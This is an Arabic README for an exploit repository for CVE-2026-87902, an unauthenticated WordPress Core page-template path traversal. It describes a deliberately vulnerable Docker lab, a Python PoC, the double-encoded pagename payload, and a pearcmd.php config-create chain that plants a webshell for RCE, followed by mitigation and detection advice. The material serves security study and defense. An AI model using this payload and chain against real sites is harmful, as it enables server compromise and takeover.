
مختبر قابل للاستغلال (Docker) + PoC بلغة Python للثغرة CVE-2026-87902 — اجتياز المسار غير المُصادَق عليه في WordPress Core (page-template -> LFI -> RCE مشروط). للاستخدام التعليمي/المُصرَّح به.
مختبر ضعيف عن قصد + PoC بلغة Python من أجل CVE-2026-87902: اجتياز المسار غير المُصادَق عليه في حل page template الخاص بـ WordPress Core، مما يؤدي إلى Local File Inclusion (LFI) وRCE شرطي.
| الحقل | القيمة |
|---|---|
| المنتج | WordPress Core |
| الإصدارات المتأثرة | 4.7.0 → 7.1.1 |
| الإصلاح | 7.1.2 (backport حتى 4.7.37) |
| النوع | Path Traversal (CWE-22) → LFI → RCE شرطي |
| المصادقة | لا شيء (غير مُصادَق عليه) |
| CVSS 4.0 | 9.2 (حرج) |
| النشر | 2026-09-23 |
⚠️ تنبيه قانوني / أخلاقي. كل المواد هنا مخصّصة للدراسة في بيئة محلية ومصرّح بها. المختبر عبارة عن صورة Docker غير آمنة عن قصد — لا تعرّضها للإنترنت. ملف
exploit.pyيستهدف افتراضيًاhttp://localhost:8091عن قصد. تشغيل الـ PoC ضد أي نظام دون تصريح كتابي صريح يُعدّ جريمة. أنت وحدك المسؤول عن الاستخدام.
EXPLOIT-CVE-2026-87902/
├── README.md # este arquivo
├── docker-compose.yml # sobe o lab em localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # pré-condições ambientais de RCE
│ └── src/ # "WordPress mini" que reproduz o trecho vulnerável
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # get_page_template()/locate_template()/... vulneráveis
│ ├── private/
│ │ └── secret-config.php # alvo .php fora do tema (prova de LFI)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # diretório "page-*" exigido p/ a travessia
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + cadeia RCE via pearcmd
└── requirements.txt
المتطلبات المسبقة: Docker + Docker Compose و Python 3 مع requests.
# 1) Suba o lab (fica em http://localhost:8091)
docker compose up --build
# 2) Em outro terminal, instale a dependência do PoC e rode
cd exploit
pip install -r requirements.txt
python3 exploit.py # roda LFI + RCE contra o lab local
# Opções úteis
python3 exploit.py --mode lfi # só a prova de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Derrube o lab
docker compose down
المخرجات المتوقعة (ملخّص):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
في get_page_template() تُستخدم قيمة متغيّر الاستعلام العام pagename
لبناء اسم القالب. يتحقق الـ core من القيمة الخام عبر
validate_file() (التي تحجب .. الحرفي)، لكنه بعد ذلك يفكّ ترميز القيمة
مرة واحدة ويستخدم النتيجة كمرشّح للقالب دون إعادة التحقق
(محاكاة أمينة في wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
ثم يقوم الـ locator بدمج القالب + "/" + template ويضمّن أول ملف
موجود، دون realpath() ولا التحقق من أن النتيجة تبقى داخل مجلد
القالب.
يرسل المهاجم pagename مُرمّزًا مرتين:
Valor no fio (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificação (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- sem '..' literal => passa por validate_file()
2ª decodificação (core): templates/../../.../pearcmd <- travessia real
بما أن الـ locator يضيف البادئة page-، يصبح المسار
page-templates/../../.../pearcmd.php. وهذا يُحلّ إلى خارج القالب.
page- (هنا،
page-templates/). هذه هي نقطة البداية الفعلية للاجتياز: في Linux يجب أن
يوجد كل مكوّن من مكوّنات المسار حتى تُحلّ ../. القوالب القديمة
(Twenty Twelve/Fourteen) والشائعة (Neve، Hestia، Sydney) تستوفي الشرط.register_argc_argv = On في PHP → يتم تعبئة $_SERVER['argv'] من
سلسلة الاستعلام.pearcmd.php قابل للقراءة على الخادم (صورة php:8.2-apache الرسمية
تتضمنه أصلًا في /usr/local/lib/php/pearcmd.php، ضمن include_path
الافتراضي).بما أن الـ locator يُلحق .php، فإن LFI لا يصل إلا إلى ملفات .php. لذلك
يقترن مسار RCE العملي بـ pearcmd.php:
pearcmd.php بتمرير، عبر query string (=argv)،
config-create من أجل كتابة webshell بصيغة .php في /tmp./tmp/<webshell>.php عبر اجتياز جديد → يُنفَّذ كود
PHP الخاص بالمهاجم.يتعامل التصحيح مع قيمة pagename بشكل متّسق: يتحقق بعد أي فكّ ترميز (أو
يرفض المدخلات التي تحتوي على تسلسلات اجتياز مُرمّزة) ويبدأ في فرض حدود
المجلد عند حلّ القالب (يجب أن يبقى المسار النهائي داخل القالب). النتيجة:
القيمة المُرمّزة مرتين لم تعد تنجو حتى مرحلة include.
التخفيفات: التحديث إلى ≥ 7.1.2؛ وكدفاع في العمق،
register_argc_argv = Off، وإزالة/تقييد pearcmd.php، واستخدام WAF يكتشف
../ المُرمّز (%2e%2e%2f، %252e...) في الطلبات.
../ مُرمّز/مُرمّز مرتين
(%2e%2e%2f، %252e%252e%252f) في المعاملات.pagename)، خاصةً
عند اقترانها بسلاسل استعلام تحتوي على config-create / إشارات إلى
pearcmd..php في /tmp يتبعه تضمين.